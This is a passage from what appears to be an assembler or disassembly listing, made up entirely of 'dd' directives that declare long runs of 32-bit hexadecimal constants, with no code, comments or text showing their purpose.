80B6CE1h dd 97053F99h, 80F891E8h, 99C15512h, 0A3CD18E0h, 3A745022h dd 20112F04h, 0F08215B5h, 5C00E2D0h, 0E0878238h, 0C4566393h dd 38B484C4h, 0CCF8FBh, 412311FEh, 93AFF287h, 0D112B501h dd 66B82FE2h, 90B7064h, 9B924043h, 315B459h, 3EF7A864h dd 0C6049C22h, 0C0B6F5FCh, 5E1E027Ch, 11781D9Dh, 72678048h dd 13866922h, 3A769E09h, 3FFA2394h, 23815C38h, 0B223EDCh dd 0E86424A8h, 340FEF5Fh, 0CBD0409Ch, 1643AACDh, 4020EC33h dd 0D95E9850h, 0EF2634E4h, 0A91344A3h, 6F7284F4h, 6AE308EDh dd 73E24103h, 0F94F1464h, 0B08074D0h, 0BB2000CBh, 0F769381Fh dd 0E425937Eh, 0FF4EB37h, 4B0AB040h, 5A8EA748h, 5F39A160h dd 0AC7084FFh, 0DECB378Dh, 86F047D9h, 0B5F08941h, 284C9258h dd 111328B3h, 0E88BE539h, 0C5C09E88h, 47F84BAh, 0ECAEF188h dd 0F20CF290h, 464D30B4h, 0A50B8501h, 0B70A2F59h, 909C0F70h dd 4BCC2ED0h, 19C00214h, 0C8A324FBh, 94D96AFCh, 33AC5012h dd 0C858D570h, 0D00A009Ch, 0E7356A9Eh, 0BA89805h, 66D40B62h dd 0EB9AFCA0h, 51C99BC5h, 8724D34Dh, 70CEA3CAh, 6C5B124Ah dd 0F753E1Eh, 0F12D0EC9h, 189E7930h, 45240556h, 0B468F3E0h dd 0A3011100h, 0F67C3080h, 3180ADA7h, 54C35D6Fh, 4639D3E6h dd 1F940002h, 0C9E87DDCh, 0A45C0951h, 0B8D19D2Dh, 1BDE5B80h dd 1214C6D5h, 0F20C4A88h, 0E4BE2558h, 56F084h, 54E9B98Dh dd 3F04D42h, 4CC9C4Dh, 2AFA8EF9h, 7DE148B2h, 480C4Bh, 0DFBEF17h dd 341C6ED0h, 0B8340773h, 0C404A053h, 88849FD3h, 7BF2C0F2h dd 72A330h, 0DE509723h, 0C6B69E4h, 9E5C4413h, 4B6768D0h dd 0D02F807Fh, 4F3C3650h, 10D88F41h, 13809E40h, 6CCA48Ah dd 0D7C95207h, 60CE7D29h, 5FB8CFA1h, 0E73C1C7Eh, 0F06CCFAEh dd 0ED9C61D3h, 0F22C3209h, 3A7D30F3h, 386E1303h, 0E3311AD2h dd 4182D268h, 2039F838h, 0C091451Fh, 0BD75B54Eh, 9A7EAFB6h dd 74795600h, 0EBA8BC06h, 285D2F6Ah, 0A0292880h, 4EF809D7h dd 1F38EF50h, 7CCD7B00h, 526BE2D6h, 0C6840047h, 40C313AEh dd 0E3FE2211h, 0EE00097h, 90835765h, 794912A0h, 0A7E0E06Bh dd 25C54A40h dd 488AE5D7h, 0D649C12Ch, 39B4359Ah, 12CAC4Ch, 5CCCA732h dd 3B12BCE4h, 0C78AF401h, 0E048A273h, 0A99E40E7h, 0C242097h dd 399A0370h, 3C2797D2h, 7A24B8C6h, 465E602Ch, 9DCB3F79h dd 0C86E9B3Fh, 6AA9EC18h, 0F52900A9h, 0FB257522h, 0F49821ADh dd 4ABBA4Dh, 907F2444h, 0E6D280F9h, 6A94E068h, 9F24042Dh dd 0F80BEBE9h, 200F800Ch, 771276A7h, 0F8979596h, 7F81B891h dd 0CC7DD89Bh, 8B48D641h, 0C8DF27A0h, 0B57AB9C4h, 4891FC1Dh dd 3C533180h, 810FA7B2h, 9DD83432h, 8609C868h, 0D90C7BDEh dd 42FB928h, 0FF118817h, 6AAF2181h, 482C3008h, 0FCB580h dd 5C6FAEDBh, 3849EC56h, 51BF1003h, 0DE717E46h, 3EED46D0h dd 19BA893Ah, 60D4F13Ch, 0F07E41CAh, 0ED421802h, 7CA22205h dd 4E76EFCh, 8C2409D0h, 0D70CF941h, 0AFC814CAh, 0DEF53DC0h dd 7CC858BEh, 0B0031905h, 0B1CC21EEh, 0EDC3017Dh, 8D2C606Ah dd 25C5719h, 0BB1B811Ch, 0C9F12139h, 0D9030432h, 0FD480307h dd 7C2259BFh, 80D25440h, 6247F400h, 37018E22h, 9F7A2Dh dd 3590C45Ah, 0C169B9E6h, 0DEC63D05h, 6CA40D86h, 800B17EDh dd 0D4203035h, 0E30053B5h, 0E164096Bh, 48A8B16Ch, 6A12A642h dd 3E24F194h, 14F27464h, 0F9C098B7h, 0EE4D6392h, 4B030C3Ch dd 0DF21694Ah, 0F8F8A95Ch, 0E5018CF6h, 0CB475C89h, 133E420Eh dd 9B5C13A8h, 0F928C0B0h, 5E906B8h, 57DB22FEh, 0A054A850h dd 943724DFh, 5E7C80D0h, 77AC508h, 0C8D64E5Ah, 0E13003F8h dd 195BBCCEh, 0FC88A8D0h, 60860C01h, 3A7C9BC6h, 61B7D041h dd 4EF6C848h, 0A35088C1h, 6733B500h, 5D50FAA0h, 7ED44860h dd 89190174h, 0B3C10DE1h, 40488992h, 59FC9AAFh, 18BA7984h dd 0DFC60B29h, 18146679h, 0F75ED09Ch, 631E7618h, 0A2C0A583h dd 8CC2DEFAh, 308F5CADh, 79AA3C10h, 97972AFAh, 89851190h dd 78E4E3h, 0F28FBD4Ah, 1FB421E8h, 94195000h, 0C4E4FB43h dd 64B04886h, 64F53F01h, 73BB3335h, 4684E168h, 0C8F80F0Ch dd 6BE1D716h, 0CBC1B840h, 74BB57Dh, 13184C87h, 0CE01C4C4h dd 0C0B4C82Ch, 0F9DABCDBh, 85C83CA3h, 0AC77493Dh, 147D2F0Fh dd 0CC1C0326h, 0FE81FC8Dh, 0D220CA20h, 683795C7h, 37969C81h dd 90B2A1C6h, 0F520A340h, 68E102h, 10354F60h, 3C38C222h dd 32C35D01h, 6FEA2699h, 3E30306Eh, 610CE9E4h, 89C6CA8Eh dd 7035B505h, 0D6EB80BAh, 5167C66Ch, 8913857Eh, 123483Ah dd 2450AA02h, 2950E85Fh, 9CB70440h, 0E00E1121h, 0B5134C08h dd 243A8917h, 803AF823h, 70884731h, 9026775Fh, 6D7D2EACh dd 803350D0h, 6684C511h, 0E0D0A6D2h, 2FA8884h, 68A84A94h dd 78D6C1AFh, 4AC501DCh, 83E30B74h, 70A986E7h, 25C07581h dd 6841D00Ah, 48921842h, 7638B0CFh, 0B2C08CD2h, 0E14CD1E3h dd 0DDA02400h, 49947097h, 0A621ECEh, 9054921Ch, 7DABCB1Ch dd 11701D95h, 4F888F87h, 0C86A50Dh, 31808E4h, 8FCE757Eh dd 0A0A3BC60h, 0C6306002h, 8094A96Fh, 3C0A04C0h, 88516110h dd 480C9FC2h, 0AE17F49Ch, 50B64F89h, 0AA5E4E0h, 44627B1Dh dd 1A375540h, 0C31696Ch, 8CA96E94h, 0FB131880h, 7CB0E860h dd 9B3B4F6Ah, 0B150801Ch, 160BA524h, 90644A79h, 87E322D8h dd 4AC53C40h, 80E8DBF9h, 6361DB68h, 7004BB05h, 500319A7h dd 677DC045h, 8A72E106h, 0C8800914h, 7BE868C1h, 7400C06Bh dd 3260CDCEh, 5C941610h, 50BCDB52h, 0F00B8F5h, 22117B02h dd 0C0E64E9Ah, 3925AF21h, 0EFECD77h, 155EB209h, 76900169h dd 44CC502Ah, 0F340000Ah, 0C9FFE555h, 149EA8A6h, 5DF46D80h dd 0A4EF74h, 0BA785C0Ch, 6A92B02Eh, 0D0196B04h, 0BCE8CD66h dd 0D650AE80h, 0D87E02D5h, 8065363Bh, 48AFE268h, 0B6845F98h dd 0B7AE4008h, 3701323Ch, 86A18AB9h, 0ECEAA0BBh, 76930B10h dd 0F41C612Dh, 0B7C4BC85h, 0C1EB6260h, 7078931Fh, 0F07EF580h dd 5F7F0D64h, 4C4C08AAh, 0B8CAAF80h, 0C0B408h, 2DB5B019h dd 3D3E21C7h, 98B3C1FCh, 6826978h, 5C13197Eh, 0BD08E0FBh dd 967F1D6h, 40592AE1h, 2F187A71h, 42087B00h, 0C4549F38h dd 960C74ABh, 0F9DE8620h, 3A0E518Ch, 0E7806B51h, 7D002FC3h dd 0FBFAC8h, 0BB5500Ah, 0BD783390h, 9891855Fh, 476EF848h dd 0E28314B0h, 0A0CA298Ah, 0DC18FCh, 3CBDD4ADh, 89D36F11h dd 0D5355E16h, 98FCA085h, 464385BCh, 3409EF04h, 25A8BCB4h dd 7A0646Dh, 43A416F6h, 0FA6AB0E1h, 0C101FB40h, 0BAC309E4h dd 0B6E0609Fh, 0F53C1E8Fh, 2F2953B3h, 4B7A1064h, 9AB918C0h dd 8B0229D0h, 4AF7817h, 26B058ECh, 416C84F1h, 0E022DC6Ah dd 0F91D1BCAh, 0F971BD68h, 0E8225431h, 0DE2D3A00h, 0AFFE5B0Ah dd 13F06C0Ah, 8611B430h, 93515F00h, 0F91FA6A0h, 8D3FA701h dd 8202A9C1h, 0EE84B980h, 1C3C2B18h, 0A4499500h, 0BE0F9A99h dd 5EA63D1Fh, 0CC4F79BAh, 0AD0BFAC0h, 1D9F7C19h, 80F91198h dd 570F0584h, 2AED01DFh, 0D68AA69h, 419064E7h, 8ECDE104h dd 34C43461h, 9EB890EDh, 8DE35B00h, 0F352BE2Ah, 0C090B596h dd 2D246E9Bh, 8425C88h, 54D06A4Ch, 9E465C98h, 5C490D00h dd 6CE1EE22h, 0A2BF5F00h, 3FD751DFh, 0D84095B4h, 0CEE40BC0h dd 0B57E2802h, 5222DEE0h, 1109C2Ch, 0A62C8CC3h, 3BC80BECh dd 0E88D9DC3h, 5EF8A9FBh, 4CC4887Bh, 0E84ACE00h, 6AAA1E36h dd 9DAF001Bh, 52F3D545h, 62136895h, 28C85A3Eh, 40031022h dd 80375EF9h, 6AC80BC2h, 179CFCB4h, 0C9A004C0h, 0A0D4F769h dd 54579B4h, 8DD85690h, 3110F4CAh, 50373525h, 18C6FCFCh dd 68729967h, 9CA894F9h, 1B0AB401h, 1CC98CC0h, 0A7E3AF05h dd 0A2046CE9h, 0C3E2B049h, 0C0EC4F69h, 6AF99EB1h, 3D38F51Dh dd 0A76C1967h, 2E01AC72h, 256E3C7Ch, 0CEFC2441h, 2D3D6A09h dd 0E30087A8h, 0A4B88A75h, 12FB009Eh, 0A02D0B9Fh, 2CB6CE29h dd 0DE500900h, 9E33AF0h, 6414A1B3h, 0E4C694A9h, 9740B8B4h dd 4AA262h, 0B6FFF2A8h, 3ECD5B28h, 65F3E902h, 54C85575h dd 5CBCC84Ch, 6E003D46h, 0DAA09D67h, 0C21223B3h, 3890F92Bh dd 4A5AC548h, 2DEB8FCh, 2F5607C6h, 303555ECh, 65335C80h dd 79116C2Ch, 3FFC0E4Dh, 0F1844408h, 0A2BCF3B0h, 0C6E330F6h dd 64C580BCh, 7F4A8E81h, 3670302Ah, 0F74CE9AEh, 0B43E0128h dd 3FE4BBF6h, 2846D4E0h, 2CCF9A2h, 6B741536h, 0DC90E33Bh dd 991242CCh, 0D41C535Ah, 9581FCD8h, 80F50098h, 482A1BF7h dd 55EEE92Fh, 0FB0A21ECh, 84183E74h, 10B28993h, 0F0337BF2h dd 7936B3B2h, 34FB5A83h, 88848E58h, 576FC07Dh, 0DB00737Fh dd 0A80BE69Fh, 6AEB31h, 43711162h, 0E8440581h, 125402BDh dd 2C35550Ch, 5482B711h, 0E84077BEh, 0F0768420h, 4C655C00h dd 854F1537h, 74D0BC9Bh, 4A01FA46h, 0B7408D3Dh, 0D0027A17h dd 0E2FF3564h, 0DE1C7CC8h, 0F83E1501h, 907889Ah, 46163C36h dd 88108BE5h, 9E16C0A3h, 0C5167709h, 0C42035FFh, 0F28921B9h dd 288E00D1h, 3C6E6737h, 0DE169FB6h, 9CC8B7BEh, 0EFF00097h dd 761535D1h, 0A195416Bh, 0B1D6E6B4h, 0E950C82Ah, 0A44CD200h dd 225DC5A0h, 0D94600F8h, 8E73D6FDh, 0DE12C62Dh, 0A4B88BC4h dd 0D8636A80h, 0F21F21A7h, 0BC3AEC57h, 0E58200D2h, 6D769E23h dd 0E0E89C78h, 0D72EBD19h, 0DFDD4838h, 5C910437h, 0BC214C90h dd 2E4E7868h, 0F9232Ch, 0C22ECE95h, 0AC04ECC7h, 19DE4A0Ch dd 6209C4FDh, 18A05BC8h dd 9A07356Ah, 3A7D4Ah, 0C04B7D10h, 3BA0C5DBh, 1DB30FEBh dd 34419347h, 2A963178h, 8E8C7C08h, 0B180BA71h, 1757D04h dd 0DC171290h, 7C8C2FD7h, 509795CAh, 0AC8F7B91h, 7CF2A7E0h dd 0B7052819h, 5E86966Fh, 3A0AE8F0h, 0C23C4282h, 3626BD01h dd 36E46947h, 0A0A92508h, 0B3968F40h, 98D03E4Fh, 528CC601h dd 207F75ADh, 68250B0Bh, 0A850C3DEh, 27D9A835h, 0C417A792h dd 604B7988h, 457DB11Fh, 0C642FA02h, 8295CD7Fh, 0F39B7B84h dd 0AE987878h, 0C636EA00h, 0CC031956h, 0EBB0C9F2h, 0B5F3F002h dd 0E49D803Dh, 130DC4EDh, 852A1839h, 9DFC596h, 2FD128D0h dd 58CE3AE1h, 99024E98h, 0C9017671h, 688DD9CFh, 22803C88h dd 0FBCDB645h, 9129748h, 5CE8FAFFh, 0D12D9087h, 526B0ADEh dd 8C72A998h, 87CB7539h, 8BED1EC9h, 64BEC0CFh, 7EDF271Dh dd 1559E02Fh, 0E849A7EEh, 0FC553D00h, 8F33AD7h, 69BD431Eh dd 0CF81F201h, 67C63B66h, 670144A0h, 0E30D6971h, 0DC94C2E2h dd 781A40B4h, 2F00426Ch, 0FBDE611h, 2EB3D58h, 84135B9Fh dd 3C416A2Ah, 5A3B00C1h, 80ED4A80h, 7E31804h, 0C817AC94h dd 13C550B0h, 91792D67h, 3F2A1CC4h, 0B423883Bh, 4FD69E00h dd 9FD00322h, 0DCF63C80h, 0BF0507FCh, 0FBDB1851h, 2D0BF4ACh dd 0A0C4E4AFh, 91C5478h, 81C06B47h, 85A5B1D3h, 5F4A2733h dd 8B7BD0A0h, 7002BF9Bh, 0B341BADEh, 7AE8833Eh, 0F382D207h dd 89FB703Ch, 0C1C070Bh, 24E4DA52h, 98DCB793h, 0ADF0E1B0h dd 0B3F1B200h, 0C5052304h, 762607D4h, 108C0A93h, 0DB0BA843h dd 0B05C6F20h, 0A735178Ch, 0E4D0B4B8h, 3CB2E207h, 0C00F7F71h dd 0C18FF1CAh, 2CEB032Bh, 934C0CC6h, 73721100h, 6206C77Fh dd 11FF0E9Ch, 0D89C9E7Ah, 6B5520C6h, 2C087F00h, 0B6E21DEh dd 0A02A38E1h, 43CCD480h, 0D032E67Ch, 0B080E703h, 423D347Fh dd 7EE23470h, 0EF7530h, 4BF85976h, 0BB48F82h, 9F7CBF18h dd 7ABD0h, 0F1DEF49Bh, 563F0509h, 4116DC00h, 2C42974Bh dd 0D8BF06A8h, 5963B232h, 0D6A5A306h, 189DA8Dh, 0C86BC092h dd 0E133FB90h, 43D7000Bh, 0C121C0CEh, 2CD26B06h, 0AE102A60h dd 0E8829807h, 786E8FFh, 487C2070h, 0B2E0210Ah, 96188040h dd 9236CBD4h, 0FDD03076h, 398B2B48h, 6303F970h, 6A3E1A4Dh dd 9C083055h, 0F9412A21h, 2DBC980Bh, 60060FBBh, 5DA7B0F3h dd 31A4A009h, 28381C60h, 2191F0AAh, 3F0BBDF9h, 0C9F67AFh dd 0C03D8188h, 0BD017C21h, 640717A6h, 0AEBA9073h, 232F2460h dd 0D844F3E7h, 76969C02h, 0C1B4015Dh, 653007B3h, 0A139DA1h dd 0FF94BB62h, 909500BCh, 3A39CED1h, 0A3F19700h, 0F0C5D67Dh dd 46A940CFh, 3B56CB40h, 5860AA0Ch, 0A87D6920h, 18ED3A00h dd 0D451F30Ah, 3ECE2A48h, 0D98B03B4h, 0C8B177D0h, 38BF3A98h dd 3B607674h, 0D322FD21h, 787A001Bh, 88A03356h, 980655C9h dd 3C428CCBh, 6A5D0729h, 0C0B04ED3h, 82A44708h, 0D2D7B8C4h dd 0A4EA4097h, 60ABDA88h, 0AF39BD07h, 9198F721h, 0F060019h dd 0D75413BDh, 0EEC4F8C1h, 0FDCABECh, 1BAFF1EEh, 0D05F3FE0h dd 2092C412h, 7D246174h, 11803891h, 6FC070E8h, 945F242Fh dd 940E118Ch, 6C51DD3h, 5370C064h, 0C97F0069h, 58E34F6Ch dd 6B184099h, 50418143h, 94DA07BEh, 43E77C4Ch, 62E0305Fh dd 0B0003CABh, 24B95E56h, 0E198BBh, 2F25EB32h, 0C6D5A7BDh dd 92F1CB01h, 40DB4155h, 30BC6BCCh, 958C5D9h, 9D48C0BFh dd 0DFC88EBCh, 0E89FF180h, 1810DC06h, 20EB7C93h, 8414CF2Ah dd 0F7200F71h, 2D60FFA4h, 84AC02C6h, 0D97E4DB0h, 30845256h dd 6D572187h, 2472987Fh, 3B009B0Fh, 6C033E21h, 0E6E043A3h dd 20D4658h, 6DA7F74h, 3C674Ah, 0A7F6C58h, 0BF002F80h dd 3731F9FEh, 60CE99E5h, 4336612Ah, 0CD130C40h, 86009753h dd 0E076A77h, 4DF5040Fh, 8816E96Bh, 0BC60C4C0h, 52F32B39h dd 119C60CFh, 122527A2h, 5B2B2CA1h, 65428304h, 487E3Bh dd 0BC0970B9h, 449FA5CFh, 52D6300h, 0E943E1C8h, 18FE5Eh dd 0CEAE6072h, 36F2A7BBh, 692D9800h, 8DB71AB9h, 3CE828E1h dd 45CE0091h, 71A21B75h, 0AA00132Dh, 0B9FD620Fh, 7DAF26C8h dd 0AB793FA8h, 0F3213480h, 38814F8Eh, 0D3CEB207h, 7B903CEAh dd 0BD302Dh, 0B99197ACh, 7539E0F0h, 0A455691Dh, 847196C0h dd 9DC28Bh, 78CC26C9h, 600A7C30h, 0D366CB00h, 80E6E423h dd 0A2D0004Eh, 34CA5362h, 0E0377BAh, 3DD7D2B1h, 0D4EAE0ABh dd 291F37C1h, 3EAA9088h, 123F6656h, 9957000Bh, 0AD8A6A8h dd 0C1BF0026h, 87563967h, 54003DF2h, 7B3A0C88h, 0A601ACh dd 5EB4E669h, 213BCFCAh, 1FC04100h, 0E10EDDC6h, 6847129Bh dd 910D000Ch, 66EBE3A4h, 0FF5A70E3h, 0D14D4600h, 0EE5B2A6Dh dd 0E50E1215h, 8A304721h, 990510FDh, 55FCFAF5h, 3E951900h dd 0EDAD4A0Bh, 21A600FFh, 0AB45C783h, 6100CDC2h, 6E509307h dd 0F2D1CE7h, 0A5ADD6F3h, 9908863h, 69B3E4D0h, 608F3803h dd 0E9F0E180h, 48E6C146h, 3F50C10h, 5118BB56h, 0C3B81B5Eh dd 700A3ECh, 0B8107FF3h, 0EB11460h, 0B65B4D87h, 0E2F55720h dd 4200C8D2h, 0BB300D0Fh, 0E2B1F3EEh, 8C98001Ch, 33D5012h dd 1B004D3Fh, 0AEE2C21Fh, 7217F92h, 4E3882F7h, 221DC0D8h dd 200060BFh, 24467AADh, 7E8E0Fh, 0E677DCF1h, 210D7386h dd 2C0090F8h, 9731C001h, 4B2E7Ah, 0F7D7BF76h, 0D46B8A9Dh dd 51DA1800h, 7E26BBE3h, 2FAE0922h, 84204667h, 0CA7D5005h dd 876AFF00h, 54665559h, 9771001Ch, 0B7400F22h, 0E300AE11h dd 0CC76D362h, 0DB7426h, 2C647D0Eh, 2E2AB3CBh, 0B2018874h dd 989323B6h, 3330BC60h, 0D971F0h, 0F87C9F58h, 0EF120146h dd 19384B73h, 0F4A9A86Bh, 1099622h, 69F72086h, 0DCE5190Bh dd 0F60205CDh, 76B3B45h, 337E607Ch, 8D485036h, 189D3F25h dd 831700F8h, 26785BA3h, 0ACFC0B8Dh, 7FF2CB00h, 0D58A16C4h dd 27450060h, 69CC4201h, 0E0169504h, 0CE02B559h, 43A74AD8h dd 7BECE820h, 11AF07A2h, 0C49392F6h, 0EE6C800Bh, 0D52E956Ch dd 0B2007487h, 0F49875C3h, 0F0AC00A5h, 964EB0B4h, 4D000ED9h dd 1DFFCEF3h, 7FB77Ch, 0F25B45DFh, 418CC373h, 0EAFE6100h dd 65134C6Bh, 335C066Ah, 44CF18E7h, 0B6694D16h, 21677C20h dd 0F27100FCh, 523FE4D8h, 4D00BA6Fh, 75FA40B0h, 7DF957h dd 7890D019h, 9C327145h, 68F6F201h, 2BCD0955h, 77CCE1C5h dd 64FC489Dh, 0D6C3380Eh, 55198AA0h, 0BC00BA73h, 1D1068A0h dd 3C91F4h, 6709794Ch, 0D79C0BDDh, 68F95200h, 26B9A605h dd 97D20134h, 9AEE778Bh, 4BFFDC86h, 23E97C0Eh, 760B244Fh dd 4E37C980h, 660A007Bh, 955013C8h, 750004BEh, 0DED86AA8h dd 0EECE698h, 0AAD8AA5h, 2ADB67E0h, 0FF4F4516h, 931B6CBCh dd 889028B6h, 0C20E541Fh, 4047FD25h, 0A802DC76h, 0A4371243h dd 5B3880EAh, 8000D64Fh, 6A302777h, 0E2AA91FEh, 0EE8D0024h dd 1571D3B7h, 0A90051D6h, 9A89F738h, 60A137h, 5464B91Ch dd 6585E5FCh, 3F00E9B0h, 623B8AE0h, 0E772A9Dh, 0F96F514Eh dd 0D3018D07h, 0F0C8FC20h, 0D1007498h, 65D73D29h, 6987D8h dd 81B8F476h, 2BABAD41h, 80A88024h, 0B3E17100h, 699452h dd 0DA5810FFh, 0F5E5533Dh, 3B491D90h, 0FC5D1284h, 98854C73h dd 0A6B24h, 0E66E7DB7h, 65468AFCh, 0DA0E2300h, 2BC99C2Eh dd 0B5DC012Fh, 2D0C7B3Dh dd 8CC06092h, 6D622102h, 40F17430h, 0F8EDB90h, 0EB19A2C2h dd 0AAC6B520h, 0F4002069h, 0B6811090h, 1C75AF7h, 0A2FD7522h dd 0E3CFA791h, 342DD0E9h, 37716A00h, 98641326h, 82C08E94h dd 80A5B502h, 0AF17C92h, 395C02F5h, 0C69EA625h, 26B87C60h dd 2A00CDFCh, 9A42E504h, 1300F2Bh, 0D64983EDh, 0E3526088h dd 4E73A3A8h, 80095A3Dh, 98F3F5B4h, 170438h, 7456FFD5h dd 4C4E191Ch, 0F5D4760Eh, 82B6348h, 33949052h, 65970002h dd 0EB92BEFFh, 110089EDh, 293A8CB8h, 7CDB0D5Dh, 0FFA91D9Ah dd 24480384h, 0FC0C2E13h, 0F0803D92h, 0CF7C90E7h, 7D60D4F0h dd 6032D2BEh, 0C8E9700h, 4C1D0AFh, 0FC5313DAh, 7E110086h dd 393E71DFh, 82BA2400h, 0B6CAB046h, 0F63F00AEh, 7850328Eh dd 0B40026A5h, 698C2CB3h, 592EB94Fh, 0D30FD0BCh, 614083EBh dd 663F7529h, 0DCA06300h, 876B1485h, 0F592000Bh, 5CCE4FAEh dd 28011D6Dh, 0D91A88C7h, 7960C540h, 4F100B7h, 0E44460F0h dd 900723Dh, 8E4E7FF4h, 0B999F56Bh, 25E500F0h, 0AF538C5Ch dd 3472BF2Ch, 925DD804h, 313F5480h, 1819129Dh, 0FE7400D3h dd 0D15C4F73h, 6BFB1A07h, 8A50BDBEh, 4CB95B9Dh, 0AF1FD065h dd 80D752DDh, 0D5469264h, 1BCF85Dh, 61A6578h, 2D07D63h dd 7C324893h, 2585620Fh, 11742006h, 0A50D20C3h, 0CF69C0CDh dd 0F07206h, 0BF3FACABh, 0FA25684Eh, 0C8119901h, 340C9381h dd 1F73BEF0h, 765D20Fh, 0A7A5A9F8h, 50559640h, 96B8BD1Ch dd 980D79Fh, 0C7629E0Ah, 0E36E00AEh, 9FAFD540h, 7F50473Bh dd 98C06C58h, 46B7630Ch, 540CA17Dh, 88B2E080h, 0C8D17276h dd 0DAD2F600h, 4BB0B5Eh, 5C9F39E7h, 4334570Fh, 0FE3CAEC0h dd 0B3755283h, 0BE3D3Fh, 17CB6BE1h, 2E663E0Bh, 0CB581Ch dd 0FC7A320Dh, 5F1E3A62h, 0B55FFFA3h, 0FBC62C04h, 5E01CCA3h dd 7A06DC7Fh, 0C0850C9Eh, 7F765221h, 0AF005714h, 0E67D23CCh dd 8A964C32h, 8385CC04h, 62B0731Bh, 2A4FCF14h, 0A3BC0400h dd 32E183h, 587602F3h, 4C2DDCD1h, 0C90DC41Eh, 6003CBC3h dd 0ACE3D438h, 3CBD0470h, 32980FAFh, 87B2032h, 0DB00FBBDh dd 73BAC11h, 125E17DEh, 90782AA4h, 0E64138D0h, 634E3678h dd 3323382Eh, 0EFFBE700h, 0A0FAC14Eh, 6C8FFCDCh, 3550D88Bh dd 98719227h, 7EF93A30h, 7F5546F3h, 0F942888Bh, 208B001Bh dd 9A14A23Fh, 5775E540h, 5DD0E80Fh, 82C0997h, 5400B0D3h dd 0D4503AD1h, 60D49C47h, 0B174D0C0h, 91766021h, 21F20045h dd 253174D3h, 0BC1D1C1Bh, 5266C005h, 7338CF6Ah, 44C6835Fh dd 742BF8C8h, 998A855h, 3A600247h, 34BA3CB2h, 40E5A087h dd 2EFBF80Bh, 3A168F38h, 86786DCh, 39984Ch, 0E03E4D30h dd 0C4FBB104h, 0A8C5451Ch, 1E753B8Fh, 9C62BC4h, 7A703898h dd 6A06107Fh, 6854B09Ch, 638F007Fh, 47B2B95Ch, 6B502AA6h dd 93106154h, 90408BC8h, 5C609C2Ch, 81C67B21h, 7C1634B0h dd 0A145E022h, 41954230h, 28DC94E3h, 6F4A969h, 0C48F08DBh dd 0F9717080h, 0AE7B0512h, 8CB0453h, 94C03388h, 0E6C695h dd 0D141DFCBh, 1FFFE10Eh, 20408E27h, 9DA7B62Ch, 0F1CA022Fh dd 1DCEB70Dh, 98447884h, 0D008C508h, 0C428B173h, 2EF94032h dd 49983D3h, 0DA9C3178h, 8800CEADh, 42C8C088h, 0D649D0E5h dd 20A60368h, 0A0B8E853h, 410E39Ch, 0E7BCD4E1h, 0A0608372h dd 2130B680h, 4C8B690Ch, 4DD7C0F5h, 43301C09h, 473DEB49h dd 0A940D400h, 58232D8h, 0B03A5053h, 0C94F66C9h, 9900B8A6h dd 0FEE4FF42h, 2349EEh, 90D8E94Dh, 8C4B4E64h, 0A02A8700h dd 0A7B9749Ch, 0AB8B601h, 6C03CC2h, 51EABF8Fh, 0D86E3815h dd 0B70B04B0h, 0B50AEC24h, 39A966BCh, 932B921Fh, 0A0798B45h dd 32E5900Fh, 97511882h, 804C91C8h, 0AA9816FDh, 73F8A8C3h dd 0F19CCC0Eh, 70724CAEh, 36DC6C0Ah, 7400843Bh, 0BA8F5C37h dd 48D460C1h, 202C0E90h, 8029A9C8h, 0DFE03CD2h, 7902DA76h dd 0B324B8B1h, 80AC88B7h, 8AA54508h, 80C0F2D0h, 3E5E98F4h dd 0CF6876EAh, 46746C60h, 77BD0040h, 0D4651DA1h, 970B0AB0h dd 2ACD0A4h, 21E87FB7h, 20BAD700h, 4860B051h, 85CE783Fh dd 386CD1F8h, 11B09D82h, 0C5548135h, 6030E51Ah, 14B976E8h dd 3C2C0D0Ah, 0E8B22A88h, 0D0D33042h, 38B15912h, 0C4CCA839h dd 0FF6000D0h, 0B0DDBEA7h, 16494C0Fh, 0E2453D4h, 238CDB4Ah dd 0E106C5DAh, 1880E9B8h, 0D5726A5Fh, 9F4CF9E5h, 8A4B16F8h dd 0C629001h, 0F84049C3h, 0FD45B45Fh, 0CEB9A068h, 1B44830h dd 911722CCh, 80E17092h, 2752BF78h, 5264EC49h, 4B0098A9h dd 5F340B37h, 84000F13h, 0FB6A1172h, 70581Fh, 0C8A4F462h dd 0F87ECF88h, 0E482090h, 4C2ED310h, 1E004123h, 6D6FF8E8h dd 0DCD20103h, 3CD94CC8h, 92607CD5h, 0E2F98800h, 0FC910289h dd 830C0FCh, 0FD5CDCC4h, 7458CF02h, 9011E9C8h, 35AB16E4h dd 440619Bh, 241469Ch, 8FFF65CEh, 0D2805158h, 10B15ED0h dd 0F847448Ch, 95D0DB00h, 0D8E12175h, 0E5F40CA4h, 63599CE6h dd 321429C0h, 74ED6B3Ch, 1B462C9Dh, 0DC782648h, 3E0AD702h dd 408F64DCh, 0B821581Ch, 418E78Ch, 0AF40BD04h, 7F2C9F6Fh dd 83BD0C07h, 406FEC1Bh, 10610AFCh, 0D11A008Bh, 0D03EFE38h dd 30B2D9E8h, 69DC3040h, 78AB413Fh, 0BDF29430h, 0FFAF3A11h dd 100E29Fh, 1897BDFAh, 2EA4A029h, 17B87E40h, 3F8C606Ch dd 6321FAF9h, 4738C01Dh, 602CCF9h, 0E38BF07Bh, 0F762DF09h dd 50295C81h, 0A994528Eh, 0ED099864h, 3C9D3E9h, 8126CC99h dd 0C5C5AA93h, 407CC820h, 90F66B3Dh, 905C8D40h, 0C4E0C88Ch dd 3BBD05C0h, 2C074AAFh, 0D077804h, 0DFE2F7BDh, 0ED91C290h dd 5AE41063h, 72200198h, 39BB8F34h, 0BD026432h, 9FC4B709h dd 6880F84Ah, 33135F1h, 4C317672h, 6D8ED18Bh, 1842EF4h dd 1DCD479Ah, 0E4CB2A63h, 2BFCFB74h, 11DC1795h, 7D37807Bh dd 16EEA1Eh, 625F0BABh, 24304AE4h, 9888315Ch, 0CB6E00C2h dd 0ACA8DA02h, 9F0C4254h, 0B8EDC88Ah, 0E86F12D9h, 820B419h dd 7F5F028Ch, 9E0206D3h, 51804465h, 0B99C7F77h, 18F10247h dd 9B989290h, 11D41A00h, 0DCB004ECh, 92D26031h, 4100EE78h dd 9078E32Ch, 312706E4h, 7907BEC5h, 6A923512h, 0F93D2C60h dd 2D632304h, 379EF11h, 2E80F945h, 1C17799h, 0F3D876B9h dd 0B50E9802h, 71481D35h, 4098A4E9h, 12CF6E97h, 0A8200A2Ch dd 0E40C4549h, 70576085h, 0F82504FCh, 84CB46C6h, 12ECCC24h dd 0B4185007h, 1B20E8FFh, 90F88387h, 85C82494h, 69946070h dd 23173061h, 0F43A5395h, 24098623h, 0C0C86D3Ah, 0E3D26E7Ah dd 4200F379h, 97664448h, 49A98F53h, 